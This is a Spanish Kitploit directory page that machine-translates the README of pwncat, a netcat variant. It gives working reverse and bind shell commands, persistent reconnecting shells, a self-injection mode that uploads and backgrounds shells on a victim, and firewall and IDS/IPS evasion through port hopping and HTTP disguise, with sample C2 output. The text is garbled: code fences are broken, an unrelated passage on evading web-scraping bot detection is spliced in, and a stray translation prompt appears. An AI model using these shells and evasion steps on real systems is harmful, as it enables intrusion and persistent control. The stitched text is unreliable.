Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pwncat — pwncat - netcat con esteroides con evasión de Firewall, IDS/IPS, shell bind y reverse, shell autoinyectable y magia de reenvío de puertos - y es completamente programable con Python (PSE) | Kitploit
Herramientas/GitHubGitHub/cytopia/pwncat
Generación de PayloadsEscaneo de PuertosEvasión de IDS/IPSMovimiento LateralScripting y AutomatizaciónPost-ExplotaciónPruebas de PenetraciónComando y ControlUtilidades y FrameworksRed Teaming
GitHubcytopia/pwncat
2.0k21426hace 4 añosRevisado por Kitploit

pwncat

pwncat - netcat con esteroides con evasión de Firewall, IDS/IPS, shell bind y reverse, shell autoinyectable y magia de reenvío de puertos - y es completamente programable con Python (PSE)

Ver RepositorioSitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Documentación | Instalación | TL;DR | Características | Comportamiento | Uso | Ejemplos | FAQ | Contribuir | Aviso legal | Licencia


banner de pwncat

pwncat

Documentation Status PyPI PyPI - Status PyPI - Python Version

PyPI - Format
PyPI - Implementation
PyPI - License

Build Status Build Status

 

Netcat esteroides con evasión de Firewall, IDS/IPS, shell directa (bind) y reversa, shell autoinyectable y magia de reenvío de puertos - y es completamente programable con Python (PSE). - docs.pwncat.org

 

Estilo de código Pruebas de integración [2]
EstilizadorEstado
Black
mypy [1]
pycodestyle
pydocstyle
pylint
PythonOSLinuxMacOSWindows
2.7

[1] Cobertura de tipos de mypy (completamente tipado: 94.00%)
[2] Las compilaciones fallidas no indican funcionalidad rota. Las pruebas de integración se ejecutan durante varias horas y se rompen esporádicamente por varias razones diferentes (timeouts de red, cancelaciones desconocidas de GitHub Actions, etc.): #735, #841

Motivación

¿Alguna vez has presionado accidentalmente Ctrl+c en tu shell reversa y desapareció para siempre? ¿Alguna vez esperaste eternamente a que tu cliente se conectara de vuelta porque el Firewall no lo dejaba salir? ¿Alguna vez perdiste una conexión porque un IPS cerró puertos sospechosos? ¿Alguna vez necesitaste un reenvío de puertos rápido?

Este te cubre.

Aparte de eso, las características actuales de nc, ncat o socat simplemente no satisfacían mis necesidades y también quería tener una herramienta única que funcione en máquinas antiguas y nuevas (de ahí la compatibilidad con Python 2+3). Lo más importante, quería tenerlo en un lenguaje que pueda entender y proporcionar mis propias características. (Espera, las versiones binarias para Linux, MacOS y Windows llegarán pronto).

📕 Documentación

Documentación de PwncatEnlace
Documentación oficialhttps://docs.pwncat.org
Sitio web oficialhttps://pwncat.org
Documentación de la APIhttps://pwncat.org/pwncat.api.html
Motor de scripting de PwncatPSE

🎉 Instalación

La versión actual es: 0.1.2

Genérica

Pip
pip install pwncat

Específica del SO

MacOSArch LinuxBlackArchCentOS[1]
mac_imgarch_imgbarch_imgcentos_img
brew install pwncatyay -S pwncatpacman -S pwncatyum install pwncat
FedoraKali LinuxNixOS[2]Oracle Linux[1]
fedora_imgkali_img

[1]: Repositorio Epel
[2]: Inestable

☕ TL;DR

Esta es solo una descripción rápida para empezar. Para técnicas más avanzadas, consulta 💻 Uso o 💡 Ejemplos.

Ver en acción

shells reversas irrompibles - cómo generar

shells reversas irrompibles - múltiples shells

Desplegar en el objetivo```bash

Copy base64 data to clipboard from where you have internet access

curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

Paste it on the target machine

echo "" | base64 -d > pwncat chmod +x pwncat

root@kitploit:~
### Inyectar en el objetivo```bash
# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

[1] Leer con más detalle sobre la autoinyección

Invocar shells```bash

Bind shell (accepts new clients after disconnect)

pwncat -l -e '/bin/bash' 8080 -k

root@kitploit:~
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
root@kitploit:~
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

Escaneo de puertos```bash

[TCP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 pwncat -z 10.0.0.1 1-65535 pwncat -z 10.0.0.1 1+1023

[UDP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 -u pwncat -z 10.0.0.1 1-65535 -u pwncat -z 10.0.0.1 1+1023 -u

Use only IPv6 or IPv4

pwncat -z 10.0.0.1 1-65535 -4 pwncat -z 10.0.0.1 1-65535 -6 -u

Add version detection

pwncat -z 10.0.0.1 1-65535 --banner

root@kitploit:~
### Reenvío de puerto local `-L` (proxy de escucha)```bash
# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
root@kitploit:~
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

Reenvío de puerto remoto -R (proxy de doble cliente)```bash

Connect to Remote MySQL server (remote port 3306) and then connect to another

pwncat/netcat server on 10.0.0.1:4444 and bridge traffic

pwncat -R 10.0.0.1:4444 everythingcli.org 3306

root@kitploit:~
```bash
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

Túneles SSH por diversión y beneficio 🔗
pwncat ejemplo: Magia de reenvío de puertos

⭐ Características

De un vistazo

pwncat tiene muchas características, a continuación solo se muestra una lista de características destacadas.

CaracterísticaDescripción
PSETotalmente programable con Pwncat Scripting Engine para permitir todo tipo de cosas sofisticadas en envío y recepción
escaneo de puertosEscaneo de puertos TCP y UDP con soporte básico de detección de versiones
Self-injecting rshellModo de autoinyección para desplegarse a sí mismo e iniciar automáticamente una shell inversa irrompible de vuelta a ti
Bind shellCrear bind shells
Reverse shellCrear shells inversas
Port ForwardReenvío de puertos local y remoto (servidor/cliente proxy)
Ctrl+cLa shell inversa puede reconectarse si accidentalmente presionas Ctrl+c
Detect EgressEscanea e informa puertos de salida abiertos en el objetivo (salto de puertos)
Evade FWEvade firewalls de salida mediante round-robin de puertos salientes (salto de puertos)
Evade IPSEvade Sistemas de Prevención de Intrusiones al poder hacer round-robin de puertos salientes en interrupciones de conexión (salto de puertos)
UDP rev shellPrueba esto con el netcat tradicional
Stateful UDPFase de conexión con estado para el modo cliente UDP
TCP / UDPSoporte completo de TCP y UDP
IPv4 / IPv6Soporte de pila dual o única IPv4 e IPv6
Python 2+3Funciona con Python 2, Python 3, pypy2 y pypy3
Cross OSFunciona en Linux, MacOS y Windows siempre que Python esté disponible
CompatabilityUsa netcat, ncat o socat como cliente o servidor junto con pwncat
PortableArchivo único que solo usa paquetes principales - no requiere dependencias externas.

Matriz de comparación de características

pwncatnetcatncatsocat
Motor de scripts✔ Python❌✔ Lua❌
IP ToS✔✔❌✔
IPv4✔✔✔✔
IPv6✔✔✔✔
Sockets de dominio Unix❌✔✔✔
vsock de Linux❌❌✔❌
Enlace de origen del socket✔✔✔✔
TCP✔✔✔✔
UDP✔✔✔✔
SCTP❌❌✔✔
SSL❌❌✔✔
HTTP✔❌❌❌
HTTPS*❌❌❌
Negociación Telnet❌✔✔❌
Soporte de proxy❌✔✔✔
Reenvío de puerto local✔❌❌✔
Reenvío de puerto remoto✔❌❌❌
Escaneo de puerto entrante✔✔✔❌
Escaneo de puerto saliente✔❌❌❌
Detección de versiones✔❌❌❌
Chat✔✔✔✔

* La característica está actualmente en desarrollo.

👮 Comportamiento

Como la implementación original de netcat, cuando se usa TCP, pwncat (en modo cliente y escucha) se cerrará automáticamente, si la conexión de red ha sido terminada, correcta o incorrectamente. En caso de que el par remoto no termine la conexión, o en modo UDP, netcat y pwncat permanecerán abiertos. El comportamiento difiere un poco cuando se cierra STDIN.

  1. netcat: Si STDIN se cierra, pero la conexión permanece abierta, netcat permanecerá abierto
  2. pwncat: Si STDIN se cierra, pero la conexión permanece abierta, pwncat se cerrará

Puedes emular el comportamiento de netcat con el argumento de línea de comandos --no-shutdown.

Echa un vistazo a los siguientes comandos para entender mejor este comportamiento:```bash

[Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

[Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown

root@kitploit:~
2.  **Detección y evasión de bots:** Muchos servicios (especialmente Google) han implementado tecnologías robustas de detección de bots que pueden identificar y bloquear con precisión el tráfico de navegadores headless. Estos métodos de detección pueden activarse por señales sutiles de comportamiento, huellas dactilares del navegador o la ausencia de patrones genuinos de interacción del usuario.

    Para sortear con éxito estos sistemas, a menudo se requieren técnicas de evasión sofisticadas, como la rotación de direcciones IP, la variación de los encabezados de las solicitudes, la imitación de movimientos del ratón y comportamientos de desplazamiento similares a los humanos, y la gestión de los parámetros de las huellas dactilares del navegador.

3.  **Renderizado de JavaScript y contenido dinámico:** Las aplicaciones web modernas dependen en gran medida de JavaScript para renderizar contenido, manejar interacciones del usuario y gestionar el estado de la página. Las herramientas de web scraping que solo analizan HTML estático pueden perder porciones significativas del contenido de la página.

    La plantilla `browser scraping` en Scrapy-Playwright es esencial para acceder al contenido renderizado dinámicamente que se genera del lado del cliente, lo que garantiza una extracción de datos completa de sitios web con mucho JavaScript.```bash
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80

Please provide the Markdown content to translate.```bash

[TCP]

Both instances will quit after successful file transfer.

pwncat -l 4444 > output.txt pwncat localhost 4444 < input.txt

[TCP]

Neither of both, client and server will quit after successful transfer

and they will be stuck, waiting for more input or output.

When exiting one (e.g.: via Ctrl+c), the other one will quit as well.

pwncat -l 4444 --no-shutdown > output.txt pwncat localhost 4444 --no-shutdown < input.txt

root@kitploit:~
Tenga en cuenta que no es confiable enviar archivos a través de UDP.```bash
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt

Hay muchas formas de alterar este comportamiento predeterminado. Echa un vistazo a la sección de uso para configuraciones más avanzadas.

💻 Uso

Teclas

ComportamientoAltAltAlt
Salir (SIGINT)Ctrl+cCtrl+cCtrl+c
Salir (SIGQUIT)Ctrl+\??
Salir (SIGQUIT)Ctrl+4??
Salir de STDIN[1]Ctrl+dCtrl+dCtrl+z y Ctrl+Enter
Enviar (NL)Ctrl+j??
Enviar (EOL)Ctrl+m??
Enviar (EOL)EnterEnterEnter

[1] Solo funciona cuando no se usa --no-shutdown ni --keep. Entonces cerrará su socket de envío, señalizando el extremo remoto y EOF en su socket.

Argumentos de línea de comandos

Escriba pwncat -h o haga clic a continuación para ver todas las opciones disponibles.

Haga clic aquí para expandir el uso``` usage: pwncat [options] hostname port pwncat [options] -l [hostname] port pwncat [options] -z hostname port pwncat [options] -L [addr:]port hostname port pwncat [options] -R addr:port hostname port pwncat -V, --version pwncat -h, --help

Enhanced and compatible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.

positional arguments: hostname Address to listen, forward, scan or connect to.

port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2

mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour.

-z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection.

-L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address)

-R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments.

optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode.

-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS).

-n, --nodns Do not resolve DNS.

--send-on-eof Buffer data received on stdin until EOF and send everything in one chunk.

--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).

command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.

connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.

--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.

misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit

root@kitploit:~
</details>


## :bulb: Ejemplos

### Mejora tu shell a interactiva
<!--
<details>
  <summary>Haz clic para expandir</summary>
-->

> Este es un consejo universal y no solo funciona con `pwncat`, sino con todas las demás herramientas comunes.

Cuando estés conectado con una shell reversa o enlazada, notarás que ningún comando interactivo funcionará y presionar <kbd>Ctrl</kbd>+<kbd>c</kbd> terminará tu sesión. Para solucionarlo, necesitarás adjuntarla a una TTY (hacerla interactiva). Así es cómo:```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z```bash

get your current terminal size (rows and columns)

stty size

for bash/sh (enter raw mode and disable echo'ing)

stty raw -echo fg

for zsh (enter raw mode and disable echo'ing)

stty raw -echo; fg

reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'

root@kitploit:~
> <sup>[1] [Hoja de referencia de shells inversas](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>

### Shell inversa UDP
Sin trucos, una shell inversa UDP no es realmente posible. UDP es un protocolo sin estado en comparación con TCP y no tiene un método `connect()` como TCP.
En modo TCP, el servidor conocerá la IP y el puerto del cliente una vez que el cliente ejecute `connect()`.
En modo UDP, como no existe `connect()`, el cliente simplemente envía datos a una dirección/puerto sin tener que conectarse primero.
Por lo tanto, en modo UDP, el servidor no podrá conocer la IP y el puerto del cliente y, en consecuencia, no podrá enviarle datos primero.
La única forma de hacer esto posible es que el cliente envíe algún tipo de datos al servidor primero, para que el servidor pueda ver qué IP/puerto le ha enviado datos.

`pwncat` emula el `connect()` de TCP haciendo que el cliente envíe un byte nulo al servidor una vez o periódicamente mediante `--ping-intvl` o `--ping-init`.```bash
# The client
# --exec            # Provide this executable
# --udp             # Use UDP mode
# --ping-init       # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444

Shell reversa TCP inquebrantable

¿Por qué inquebrantable? Porque seguirá regresando a ti, incluso si detienes temporalmente tu servidor de escucha. En otras palabras, el cliente seguirá intentando conectarse al servidor especificado hasta lograrlo. Si la conexión se interrumpe, seguirá intentándolo de nuevo.```bash

The client

--exec # Provide this executable

--nodns # Keep the noise down and don't resolve hostnames

-reconn # Automatically reconnect back to you indefinitely

--reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

root@kitploit:~
### Unbreakable UDP reverse shell
¿Por qué "unbreakable"? Porque seguirá volviendo a ti, incluso si matas temporalmente tu servidor de escucha.
En otras palabras, el cliente seguirá enviando bytes nulos al servidor para anunciarse constantemente.```bash
# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --ping-intvl      # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444

Shell inversa autoinyectable

Imaginemos que puedes crear un shell inverso muy simple e inestable desde el objetivo hacia tu máquina, como un shell web mediante un script PHP o similar. Sabiendo que esto no persistirá mucho tiempo o podría romperse debido a una conexión de red inestable, podrías usar pwncat para conectarte a esta conexión y desplegarse de forma inquebrantable en el objetivo - totalmente automatizado.

Ver en Youtube

Todo lo que tienes que hacer es usar pwncat como tu listener local e iniciarlo con el interruptor --self-inject. Tan pronto como el cliente (ej.: el shell web inverso) se conecte a él, hará un par de cosas:

  1. Enumerar la disponibilidad y versiones de Python en el objetivo
  2. Volcarse a sí mismo codificado en base64 en el objetivo
  3. Usar el Python del objetivo para decodificarse.
  4. Usar el Python del objetivo para iniciarse como un shell inverso inquebrantable de vuelta a ti

Una vez hecho esto, puedes seguir usando la conexión actual o simplemente abandonarla e iniciar un nuevo listener (sí, no necesitas iniciar el listener antes de iniciar el shell inverso) para que el nuevo cliente pwncat se conecte a ti. El nuevo listener tampoco tiene que ser pwncat, también puede ser netcat o ncat.

El interruptor --self-inject:```bash pwncat -l 4444 --self-inject ::

root@kitploit:~
* `<cmd>`: Este es el comando a ejecutar en el objetivo (como `-e`/`--exec`, por lo que quieres que sea `cmd.exe` o `/bin/bash`).
* `<host>`: Es para tu máquina local, la dirección IP a la que la shell inversa debe conectarse.
* `<port>`: Es para tu máquina local, el puerto en el que la shell inversa debe conectarse.

Por ejemplo, imagina que tu máquina Kali es 10.0.0.1. Le indicas a tu webshell que inyectas en un servidor Linux que se conecte a ti en el puerto `4444`:```bash
# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

Entonces verás algo como esto:``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

root@kitploit:~
Y ya está. Ahora puedes iniciar otro listener localmente en `4445` (de nuevo, se conectará de vuelta a ti sin cesar, por lo que no es necesario iniciar el listener primero).```bash
# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445

Shell reversas autoinyectables ilimitadas

En lugar de solo pedir una única shell reversa autoinyectable, puedes indicarle a pwncat que genere tantas shell reversas irrompibles como desees, todas conectándose de vuelta a ti.

Ver en Youtube

El argumento --self-inject te permite no solo definir un único puerto, sino también

  1. Una lista de puertos separados por comas: 4445,4446,4447,4448
  2. Una definición de rango: 4446-4448
  3. Un incremento: 4445+3

Para generar 4 shell reversas, iniciarías tu listener tal como se describió anteriormente, pero en lugar de un solo puerto, defines múltiples:```bash

Comma separated

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

Range

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

Increment

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

root@kitploit:~
Cada uno de los tres comandos anteriores logrará el mismo comportamiento: generar 4 shells inversas dentro del objetivo.
Una vez que el cliente se conecte, la salida se verá algo así como:```
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &

Registro

Nota: Asegúrate de tener una shell inversa que siga volviendo a ti. De esta forma, siempre podrás cambiar la configuración de registro sin perder la shell.

Nivel de log y redirección

Si lo deseas, puedes iniciar un listener en modo de registro TRACE completo para averiguar qué está pasando o simplemente para solucionar problemas. Los mensajes de log están coloreados según su gravedad. Los colores se desactivan automáticamente si stderr no es una pty, p. ej.: si se redirigen esos a un archivo. También puedes desactivar manualmente el registro coloreado para salidas de terminal mediante el parámetro --color.```bash pwncat -vvvv -l 4444

root@kitploit:~
Verás (entre todo el galimatías) un mensaje TRACE:```bash
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

Tan pronto como viste esto en el oyente, puedes enviar comandos al cliente. Todos los mensajes de depuración tampoco son necesarios, así que puedes terminar tu servidor de forma segura con Ctrl+c y reiniciarlo en modo silencioso:```bash pwncat -l 4444

root@kitploit:~
Ahora espere un máximo de unos segundos, dependiendo del intervalo en el que el cliente regrese a usted y voilà, su sesión ahora está nuevamente sin registros.

